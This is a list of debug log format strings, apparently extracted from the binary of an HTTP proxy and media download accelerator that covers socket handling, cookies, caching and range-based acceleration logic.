[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error HttpHeader BuildHeader

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Response header was changed

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - NO PassThrough mode after parse response

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning - switching to Transparent mode (not HTTP)

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - IN PassThrough mode after parse response

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - The header size is %d/%d bytes.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error The header is invalid - switch to PassThrough mode!

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning Header is incomplete

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is in HEADER state

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - NO PassThrough mode

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - IN PassThrough mode

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Going to analyze %d bytes.

[HttpProxyRemote::SaveRedirectInfo] FDM=%d (%d),Req:%d - SetCookie: %s (Response)

[HttpProxyRemote::SaveRedirectInfo] FDM=%d (%d),Req:%d - SetCookie: %s (Request)

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error: The function BuildHeader field.

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d - GetCookie: %s

HTTP/1.1

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error: The function SetRanges field.

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error ParseHeader

HttpProxyRemote::UpdateRequest

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d - Redirected: %d

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error: The function UpdateRequest failed.

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d *** ReStarting the job ***.

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error: The function UpdateDomainName %s failed.

[HttpProxyRemote::ReStartCurrentJob]

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error - Reached max redirections: %d

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - The error was not handled.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - Worker Status was set to WORKER_STATUS_ERROR.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - Job State was set to JOB_STATE_ERROR.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - The worker should be stopped - network error is Permanent !

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - The worker should be stopped - reached Maximum errors !

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - Network Error severity: %d.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - m_DownloadState: %d, Errors: %d.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d, JobState:%d ___Error - range download flag is %d, m_DownloadState: %d, Errors: %d.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d - Completed !

[HttpProxyRemote::UpdateParameters] ___Error invalid job or request

[HttpProxyRemote::UpdateParameters] FDM=%d (%d),Req:%d - Already connected

[HttpProxyRemote::UpdateParameters] FDM=%d (%d),Req:%d

[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d ___Warning: socket is not ready for writing.

[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d ___Warning: worker is not ready for download - State: %s

[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d - Already Connected to IP:%s.

[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d ___Error: The function UpdateParameters failed.

[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d - Starting %lld-%lld (size: %lld)

HttpProxyRemote::StartJob

[HttpProxyRemote::StartRecoveredJob] FDM=%d (%d),Req:%d

[RequestInfo::DownloadAccelerated] Req:%d - Accelerate: %d

[RequestInfo::SetPassThrough] Req:%d - ON

[RequestInfo] Req:%d

[~RequestInfo] Req:%d

https:

%s=%s%s%s

[HttpCookieJar::GetCookie] Removing cookie: %s

[HttpCookieJar::SetCookies] Removing cookie: %s

[NetworkEventsSink::RefreshSocket] socket %d - Refreshed

[NetworkEventsSink::RefreshSocket] ___Error WSAAsyncSelect on socket %d. LE: %d

[NetworkEventsSink::RefreshAsyncSocket] socket %d - Refreshed

[NetworkEventsSink::RefreshAsyncSocket] ___Error AsyncSelect on socket %d. LE: %d

[NetworkEventsSink::ClearSocketMessages] Messages: %d

[NetworkEventsSink::Find] socket %d - was found.

[NetworkEventsSink::Find] socket %d

[NetworkEventsSink::RemoveFromSocketsMap] socket %d - was removed from the sockets map.

[NetworkEventsSink::RemoveFromSocketsMap] socket %d - was not found in the sockets map.

[NetworkEventsSink::RemoveFromSocketsMap] socket %d

[NetworkEventsSink::WindowProc] Finished %s (%d) on socket %d. Err: %d

[NetworkEventsSink::WindowProc] ___Error %s occured (event %x) on socket %d

[NetworkEventsSink::WindowProc] *** %s occured on socket %d, Err: %d.

UNSUPPORTED_EVENT

[NetworkEventsSink::Work] ___Error creating a windows. LE: %d.

[NetworkEventsSink::Work] The class %s was register.

[NetworkEventsSink::Work] ___Error register the class %s. LE: %d

[NetworkEventsSink::RemoveSocket] socket %d - Removed from events sink.

[NetworkEventsSink::RemoveSocket] ___Error removeing socket %d from sockets map.

[NetworkEventsSink::RemoveSocket] ___Error WSAAsyncSelect on socket %d. LE: %d.

[NetworkEventsSink::RemoveAsyncSocket] socket %d - Removed from events sink

[NetworkEventsSink::RemoveAsyncSocket] ___Error removeing socket %d from sockets map.

[NetworkEventsSink::RemoveAsyncSocket] ___Error AsyncSelect on socket %d. LE: %d

[NetworkEventsSink::AddToSocketsMap] ___Warning - socket %d already exists in sockets map.

[NetworkEventsSink::AddToSocketsMap] socket %d - was added to sockets map.

[NetworkEventsSink::AddSocket] socket %d - Added events sink.

[NetworkEventsSink::AddSocket] ___Error WSAAsyncSelect on socket %d. LE: %d

[NetworkEventsSink::AddSocket] ___Error adding socket %d to sockets map.

[NetworkEventsSink::AddAsyncSocket] socket %d - Added to events sink

[NetworkEventsSink::AddAsyncSocket] ___Error AsyncSelect on socket %d. LE: %d

[NetworkEventsSink::AddAsyncSocket] ___Error adding socket %d to sockets map.

[CNetworkInterfaceManager::GetNumberOfInterfaces] Count: %d

[CNetworkInterfaceManager::RegisterInterfaceEvents] Total: %d

[CNetworkInterfaceManager::GetCellularInterfaceAddress] %s - %s

[CNetworkInterfaceManager::GetWifiInterfaceAddress] %s - %s

[CNetworkInterfaceManager::UnRegisterInterfaceEvents] Total: %d

[CNetworkInterfaceManager::VerifyInterface] Network Interface: %s

[CNetworkInterfaceManager::UpdateLocalIPs] Total: %d

[CNetworkInterfaceManager::UpdateLocalIPs] LocalHost IP: %s

[CHttpCacheManager::Cleanup] Cleanup, LastAccess: %d, LastCleanup: %d

[CHttpCacheManager::CreateCacheData] Cleanup, LastAccess: %d, LastCleanup: %d

[CHttpCacheManager::FindCacheData] Url: %s

Cookie: %s

[CHttpCacheManager::DestroyCacheData] Url: %s

[CHttpCacheManager::StopAllCaching] Try to stop - CD:%d, Domain: %s

[CHttpCacheManager::StopAllCaching]

[CHttpCacheManager::Work] ...Leave

[CHttpCacheManager::Work] Cleanup - LastAccess: %d, LastCleanup: %d, Interval: %d -> %d

[CHttpCacheManager::Work] Enter...

[AsyncSocket::Listen] ___Error listening on socket %d. LE: %d

[AsyncSocket::SetInternalFlag] socket %d - SOCKET_IS_CELLULAR: %d -> %d

[AsyncSocket::SetInternalFlag] socket %d - SOCKET_CAN_BE_WRITE_TO: %d -> %d

[AsyncSocket::SetInternalFlag] socket %d - SOCKET_CAN_BE_READ_FROM: %d -> %d

[AsyncSocket::SetInternalFlag] socket %d - SOCKET_CONNECTION_ESTABLISHED: %d -> %d

[AsyncSocket::GetInternalFlag] socket %d - SOCKET_IS_CELLULAR: %d

[AsyncSocket::GetInternalFlag] socket %d - SOCKET_CAN_BE_WRITE_TO: %d

[AsyncSocket::GetInternalFlag] socket %d - SOCKET_CAN_BE_READ_FROM: %d

[AsyncSocket::GetInternalFlag] socket %d - SOCKET_CONNECTION_ESTABLISHED: %d

[AsyncSocket::IsConnected] ___Warning Socket %d - not connected or invalid.

[AsyncSocket::IsConnected] ___Warning Socket %d - not connected. ret: %d, LE: %d

[AsyncSocket::Read] socket %d, Read: %d, Total: %lld

[AsyncSocket::Read] ___Warning - socket %d can't read from yet.

[AsyncSocket::Read] ___Error reading from socket %d. LE: %d

[AsyncSocket::Read] ___Warning - socket %d is not ready to read from.

[AsyncSocket::Write] socket %d, Written: %u, Total: %lld.

[AsyncSocket::Write] socket %d, Written: %u, Total: %lld. (BytesWrittenSinceLastSecond: %d)

[AsyncSocket::Write] ___Error - socket %d. LE: %d.

[AsyncSocket::Write] ___Warning - socket %d is not ready for writing. LE: WSAEWOULDBLOCK.

[AsyncSocket::Write] ___Warning - socket %d. LE: WSAENOBUFS, reducing buffer size...

[AsyncSocket::Write] ___Error - socket %d failed writing for %d seconds !!!

[AsyncSocket::Write] ___Warning - socket %d is not ready for writing (wait for FD_WRITE event).

[AsyncSocket::Write] ___Error - socket %d invalid.

[AsyncSocket::SetSockName] socket %d, IP: %s, Port: %u

%u.%u.%u.%u

[AsyncSocket::SetPeerName] socket %d, IP: %s, Port: %u

[AsyncSocket::SetMaximumBPSToWrite] socket %d - Max Bps: %d

[AsyncSocket::EnumNetworkEvents] socket %d - Events: %X, Signaled: %X

[AsyncSocket::Ioctl] socket %d, cmd: %d, argp: %p, pOverlapped: %p

[AsyncSocket::GetOverlappedResult] socket %d

[AsyncSocket] socket %d

[AsyncSocket::Initialize] socket %d was initialized.

[AsyncSocket::Initialize] ___Error registering on the network events for socket %d.

[AsyncSocket::Initialize] socket %d - changed SO_SNDBUF: %d

[AsyncSocket::Initialize] socket %d - SO_SNDBUF: %d

[AsyncSocket::UnInitialize] socket %d

[AsyncSocket::Close] socket %d, do nothing

[AsyncSocket::Close] socket %d ___Error RemoveIgnoredConnection

[AsyncSocket::Close] socket %d

[~AsyncSocket] socket %d

[AsyncSocket::Bind] ___Error binding socket %d to port: %u. LE: %d

[AsyncSocket::Bind] new socket %d - %s : %d

[AsyncSocket::Bind] socket %d - %s : %d

[AsyncSocket::Connect] socket %d - connected !

[AsyncSocket::Connect] ___Warning socket %d - Async connecting... LE: %d

[AsyncSocket::Connect] ___Error socket %d, LE: %d

[AsyncSocket::Connect] socket %d - Already connected !

[AsyncSocket::Connect] ___Error socket %d - Already connected to another IP: %s, Port: %u

[AsyncSocket::Connect] socket %d - IP: %s, Port: %u

[CProxyServerPassThrough::SocketReadyToWriteInto] FDM=%d (%d)

[CProxyServerPassThrough::SocketWasConnected] FDM=%d (%d)

[CProxyServerPassThrough::SocketWasClosed] FDM=%d (%d) - SocketReadyToReadFrom

[CProxyServerPassThrough::SocketWasClosed] FDM=%d (%d)

[CProxyServerPassThrough::ErrorOnSocket] FDM=%d (%d)

[CProxyServerPassThrough] FDM=%d

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error adding port %d to ignore list

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) socket %d - going to add port %d to ignore list

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error invalid IRedirectController

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error GetSockName, LE: %d

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error binding socket %d, LE: %d

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error invalid socket

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - After writing %d bytes into upper level

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - Going to write the %d bytes into the upper level

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - Read %d bytes from socket %d

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) ___Error Reading from socket %d

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - Reading from socket %d

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) ___Error invalid socket

[CProxyServerPassThrough::ConnectToServer] FDM=%d (%d) ___Error connecting, LE: %d

[CProxyServerPassThrough::ConnectToServer] FDM=%d (%d) - Connected to %s : %d

[CProxyServerPassThrough::ConnectToServer] FDM=%d (%d) - Connecting to %s : %d

[HttpProxyServer::ConnectToServer] FDM=%d (%d) ___Error invalid socket

[CProxyServerPassThrough::GetDestinationIpAndPort] FDM=%d (%d) ___Error getting the destination details. Local: %s:%d

[CProxyServerPassThrough::GetDestinationIpAndPort] FDM=%d (%d) - Local: %s:%d, Remote: %s:%d, PID: %d

[CProxyServerPassThrough::GetDestinationIpAndPort] FDM=%d (%d) ___Error invalid IRedirectController

[CProxyServerPassThrough::IsPassThrough] FDM=%d (%d) ___Error GetDestinationIpAndPort

[CProxyServerPassThrough::IsPassThrough] FDM=%d (%d) ___Error getting the connected IP and Port

[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) ___Error ConnectToServer

[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) ___Error to initialize Worker: %d.

[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) - Going to initialize Worker: %d.

[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) ___Error not enough memory to allocate ProxyPeer.

[SubjectDataProperty::Serialize] ___Error not supported yet

[SubjectDataProperty::Deserialize] ___Error not supported yet

m_PropertyValue.pszValue

m_PropertyValue.pValue

[SubjectDataProperty::GetValue(int)] ___WARNING: m_PropertyType is: %d

[SubjectDataProperty::GetValue(UINT)] ___WARNING: m_PropertyType is: %d

[SubjectDataProperty::GetValue(DWORD)] ___WARNING: m_PropertyType is: %d

[SubjectDataProperty::GetValue(char*)] ___Error: The buffer is too small (Internal Buffer Size: %d, Internal Buffer Size %d)

[SubjectDataProperty::GetValue(BYTE*)] ___Error: The buffer is too small (Internal Buffer Size: %d, Internal Buffer Size %d)

[CacheManager::GetCacheWriter] FDM=%d, Dummy - CacheWriter: %p

[CacheManager::GetCacheWriter] FDM=%d, Real - CacheWriter: %p

[CacheManager::Pause] FDM=%d

[CacheManager::Resume] FDM=%d

[CacheManager::SetCacheData] FDM=%d - CD:%d (pICacheData: %p)

[CacheManager::SetFileDownloadMgr] FDM=%d - pIFileDownloadMgr: %p, DownloadSize: %lld

[CacheManager::IsWritingComplete] FDM=%d *** Writing Completed *** (%lld >= %lld)

[CacheManager::StopCacheData] FDM=%d - CacheData has incomplete HTTP header - going to destroy it...

[CacheManager::StopCacheData] FDM=%d

[CacheManager::Stop] FDM=%d

[CacheManager::FindWorkerByRange] FDM=%d - Cache Worker Found!

[CacheManager::FindWorkerByRange] FDM=%d ... Cache Worker range: %lld-%lld

[CacheManager::FindWorkerByRange] FDM=%d ___Error pJobInfo invalid

[CacheManager::FindWorkerByRange] FDM=%d ___Error pICacheWorker invalid

[CacheManager::FindWorkerByRange] FDM=%d ___Error Cache Workers list is empty

[CacheManager::FindWorkerByRange] FDM=%d - Find Chache Worker of range: %lld-%lld

[CacheManager::WriteAvailableBuffer] FDM=%d *** Reached end of Workers list ***

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - Not finished yet. (status:%d)

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p ___Warning Failed to write from cache. (status:%d)

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - WORKER_STATUS_ERROR

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - *** Set Active ***

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - *** Cache Worker Finished ***

[CacheManager::WriteAvailableBuffer] FDM=%d *** Cache Manager Finished ***

[CacheManager::WriteAvailableBuffer] FDM=%d *** Workers list is empty ***

[CacheManager::WriteAvailableBuffer] FDM=%d - Not Working ! (State: %d)

[CacheManager::WriteAvailableBuffer] FDM=%d - State: %d

[CacheManager::RemoveAllWorkers] FDM=%d

[~CacheManager - %p] FDM=%d

[CacheManager::Reset] FDM=%d

[CacheManager::CreateWorker] FDM=%d - Already has an Active CacheWorker: %p

[CacheManager::CreateWorker] FDM=%d - Set Active CacheWorker: %p

[CacheManager::CreateWorker] FDM=%d - Created CacheWorker: %p, Active is: %p

[JobsManager::MergeFailedJobs] Job:%d  = Job:%d

[JobsManager::CreateJob] Job:%d, %lld-%lld

[JobsManager::CreateJob] ___Warning Job:%d, %lld-%lld, already exist

[JobsManager::CreateTimeJob] Job:%d, %lld-0

[JobsManager::DestroyJob] Job:%d

[AccelerationLogicHD::GetInitialRanges] FDM=%d *** Range Size: %lld (%d)

[AccelerationLogicHD::GetInitialRanges] FDM=%d *** Time Range Size: %lld (%d)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error - Unknown algorithm

[AccelerationLogicHD::GetInitialRanges] FDM=%d - Update InitialRangeSize: %lld (bytes)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Warning - Master downloaded more then its range (%lld > %lld). Reducing number of connection to %d

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error Time Acceleration: LastTimeEndPosition   InitialTimeRangeSize > StartTimePosition   TotalPlayDuration (%lld   %lld > %lld   %lld)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error LastEndPosition >= StartPosition   DownloadSize - 1 (%lld >= %lld)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error RangeIndex > NumberOfConnections (%d > %d)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Warning AccelerationLogic == AL_NO_ACCELERATION

[AccelerationLogicHD::SetTimeStartPosition] FDM=%d - Start Time Position: %lld (%lld)

[AccelerationLogicHD::SetLastTimeEndPosition] FDM=%d - Last Time End Position: %lld (%lld)

[AccelerationLogicHD::IsToUseOriginalRequest] Res = %s.

[AccelerationLogicHD::IsPartner] Partner = %d

[AccelerationLogicHD::CalculateRangeSizeLimit] ___Warning SizeLimit %d RangeSize cut from %d to %d

[AccelerationLogicHD::CalculateRangeSizeLimit] FDM=%d - Size limit: %lld

[AccelerationLogicHD::UpdateToRegistryValues] BufferingTime: %d

[AccelerationLogicHD::UpdateToRegistryValues] DelayTime: %d

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - n64MinimumRangeSize: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - NextRangeSize was reduced to the maximum range size: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - LastMaxRangeSize was increased to: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - MaxRangeSizePerConnection: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - Did not finish downloading the pre-buffering: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d ___Warning *** Potential Buffering Predicted *** - Player has less then 2 seonds play time: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d ___Warning *** Potential Buffering Predicted *** - Played all written bytes: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d ___Warning *** Potential Buffering Predicted *** - Played all ranges

[AccelerationLogicHD::CalculateNextRangeSize] WorkerBps: %d

[AccelerationLogicHD::CalculateNextRangeSize] PlayRate: %d

[AccelerationLogicHD::CalculateNextRangeSize] 3G: %d

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - NextRangeTimeSize was set to the maximum range time size %.1f

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - LastMaxRangeTimeSize was increased to %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - n64MaxRangeTimeSizePerConnection %lld

[AccelerationLogicHD::GetMinTimeRangeSize] %d (sec)

[AccelerationLogicHD::GetInitialTimeRangeSize] %d (sec)

[AccelerationLogicHD::GetInitialRangeSize] %d (bytes)

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - In about: %.1f seconds

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - Player has less then 2 seconds play time: %lld bytes

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - Played all written bytes: %lld

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - PlayerPosition >= DownloadPosition (%lld >= %lld)

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Download Potential Buffering Predicted *** - TimeLeftToDownload: %.1f

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d - Wait for at least 10 seconds... (%lld)

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d - Wait for at least 5 seconds... (%lld)

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d - Wait until finish downloading the player initial cache...

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning invalid m_pRedirectDomainRule

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning Active job has completed

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning Time acceleration is not supported yet...

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Error invalid pJobInfo

[AccelerationLogicHD::GetNextRange] FDM=%d *** Next Range Size: %lld (%d), 3G: %d

[AccelerationLogicHD::GetNextRange] FDM=%d *** Next Time Range Size: %lld (%d), 3G: %d

[AccelerationLogicHD::GetNextRange] FDM=%d ___Error - Unknown algorithm

[AccelerationLogicHD::GetNextRange] FDM=%d ___Error LastTimeEndPosition   InitialTimeRangeSize (%lld   %lld) > StartTimePosition   TotalPlayDuration (%lld   %lld)

[AccelerationLogicHD::GetNextRange] FDM=%d ___Error LastEndPosition (%lld) >= StartPosition   DownloadSize - 1 (%lld   %lld)

[AccelerationLogicHD::AccelerateIsSupported] FDM=%d ___Warning - No rule for this domain

AccelerationLogicHD::AccelerateIsSupported

[AccelerationLogicHD::GetRedirectRuleName] FDM=%d - %s

[AccelerationLogicHD::IsToAccelerate] FDM=%d - Enable Acceleration - DownloadRate: %d, PlayTime: %d (Delay: %d)

[AccelerationLogicHD::IsToAccelerate] FDM=%d - Last End Position: %lld --> %lld (%lld)

[AccelerationLogicHD::IsToAccelerate] FDM=%d ___Warning - Range Acceleration not needed - All file was downloaded... (%lld >= %lld)

[AccelerationLogicHD::IsToAccelerate] FDM=%d - Last Time End Position: %lld --> %lld (%lld)

[AccelerationLogicHD::IsToAccelerate] FDM=%d ___Warning - Time Acceleration not needed - All file was downloaded... (%lld >= %lld)

[AccelerationLogicHD::IsToAccelerate] FDM=%d ___Warning - Network too slow for acceleration - wait for pre-buffer to complete... (%d < 7KBps)

[AccelerationLogicHD::FileShouldBeAccelerated] ___Warning - aktimeoffset not supported

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - Trail expired

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - No rule pointer for this domain

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - No rule for this domain

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - Server is known to not support ranges

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - not a GET command

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - Number of connection is set to one

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - Initial & Max TimeRangeSize: %lld (ms)

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - Initial & Max RangeSize: %lld (bytes)

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - MaxNumberOfConnections: %d

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - iTunes

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - QuickTimeWinInet

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d ___Error - invalid m_pRedirectDomainRule

[AccelerationLogicHD::IsPartner] ___Error - get module filename: %d

[AccelerationLogicHD::Reset] FDM=%d

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Default Uri Offset Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Default Time Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Uri Range Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Uri Offset Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Time Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Rule Location: %d

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d ___Error - invalid m_pRedirectDomainRule

[CConnectionsManager::OnStartAcceleration] Max: %d, Init: %d, AvgBps: %d

[CConnectionsManager::ResetStartAcceleration] AvgBps: %d

[CConnectionsManager::GetNumberOfConnections] Decreased to: %d, AvgBps: %d (%d)

[CConnectionsManager::GetNumberOfConnections] Increased to: %d, AvgBps: %d (%d)

[CConnectionsManagerSocket] socket %d

[CConnectionsManagerSocket::OnReadEvent] socket %d

[CConnectionsManagerSocket::OnWriteEvent] socket %d

[CConnectionsManagerSocket::OnCloseEvent] socket %d

[CConnectionsManagerSocket::OnAcceptEvent] socket %d

[CConnectionsManagerSocket::OnConnectEvent] socket %d

[~CConnectionsManagerSocket] socket %d

[CConnectionsManager::OnReadEvent] socket %d

[CConnectionsManager::OnWriteEvent] socket %d

[CConnectionsManager::OnConnectEvent] socket %d - Connect Time: %d ms

[CConnectionsManager::PrepareAccelerationConnections] Max: %d, Remote: %s:%d

[CConnectionsManager::AddConnection] socket %d - Remote: %s:%d

[CConnectionsManager::AddConnection] ___Warning socket %d - not connected

[CConnectionsManager::Work] Remote: %s:%d - Done.

[CConnectionsManager::Work] ___Error Connect socket %d

[CConnectionsManager::Work] ___Error AsyncSocket Initialize. LE: %x

[CConnectionsManager::Work] Add socket %d - Remote: %s:%d

[CConnectionsManager::Work] Remote: %s:%d

[CConnectionsManager::Cleanup] %d sockets left in map

[CConnectionsManager::Cleanup] Cleaning %d sockets from map

[CConnectionsManager::RemoveConnection] socket %d

[CConnectionsManager::GetConnection] *** Found socket %d - %s:%d (3G: %d)***

[CConnectionsManager::GetConnection] socket %d - Not matching - %s:%d

[CConnectionsManager::GetConnection] ___Warning socket %d - not ready for Writing or not Connected to %s:%d

[CConnectionsManager::GetConnection] ___Warning socket %d - not connected to %s:%d

[CConnectionsManager::GetConnection] ___Warning socket %d - GetPeerName

[CConnectionsManager::GetConnection] ___Warning socket %d - GetInternalFlag(SOCKET_IS_CELLULAR) - %d

[CConnectionsManager::GetConnection] Remote: %s:%d, 3G: %d

[CConnectionsManager::OnCloseEvent] socket %d

lighttpd/1.4.8

[AccelerationLogic::SetPlayDuration] FDM=%d - Play Duration: %lld

[AccelerationLogic::SetDownloadSize] FDM=%d - Download size: %lld (%lld)

[AccelerationLogic::SetTotalFileSize] FDM=%d - Total File size: %lld

[AccelerationLogic::SetStartPosition] FDM=%d - Start Position: %lld (%lld)

[AccelerationLogic::SetLastEndPosition] FDM=%d - Last End Position: %lld (%lld)

[AccelerationLogic::SetNumberOfConnections] FDM=%d - Max Connections: %d

[AccelerationLogic::SetInitialNumberOfConnections] FDM=%d - Initial Connections: %d

[AccelerationLogic::SetMaximumRangeSize] FDM=%d - Max Range Size: %lld

[AccelerationLogic::SetMaximumBpsToWriteIntoSocket] FDM=%d - Max BPS: %d

[AccelerationLogic::SetRequestRangeLocation] Request Range Location: %d

[AccelerationLogic::UpdateBytesWritten] FDM=%d, Job:%d (3G: %d) - BytesWritten: %lld, TotalBytesWritten: %lld (%lld   %lld)

[AccelerationLogic::ReportOnStartPlay] FDM=%d, Job:%d (3G: %d)

[AccelerationLogic::ReportOnDownloadComplete] FDM=%d (3G: %d)

[AccelerationLogic::IsResponseRangeBiggerThenMaster] FDM=%d ___Warning - Range >= Master (%lld >= %lld)

[AccelerationLogic::IsToIncreaseWorkers] FDM=%d - Increased connections to: %d (%d)

[AccelerationLogic::SetPlayRate] FDM=%d - Play Rate: %d

[AccelerationLogic::UpdateBytesDownloaded] FDM=%d, Job:%d (3G: %d) - BytesDownloaded: %lld, TotalBytesDownloaded: %lld (%lld   %lld)

[AccelerationLogic::CalculateNextRangeSize] PlayTimeLeft %d

[AccelerationLogic::CalculateNextRangeSize] WorkerBps %d

[AccelerationLogic::CalculateNextRangeSize] nPlayTime %d

[AccelerationLogic::CalculateAverageWorkerBPS] FDM=%d - Total Average BPS: %d, Worker Average BPS: %d (%d/%d)

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d - Rule Domain Name: %s

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d ___Warning - Using generic rule

AppleWebKit

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d ___Warning - No Rule for Domain: %s

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d - Look for rule using - Host: %s, ContentType: %s

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d ___Error getting IAccelerationConfiguration

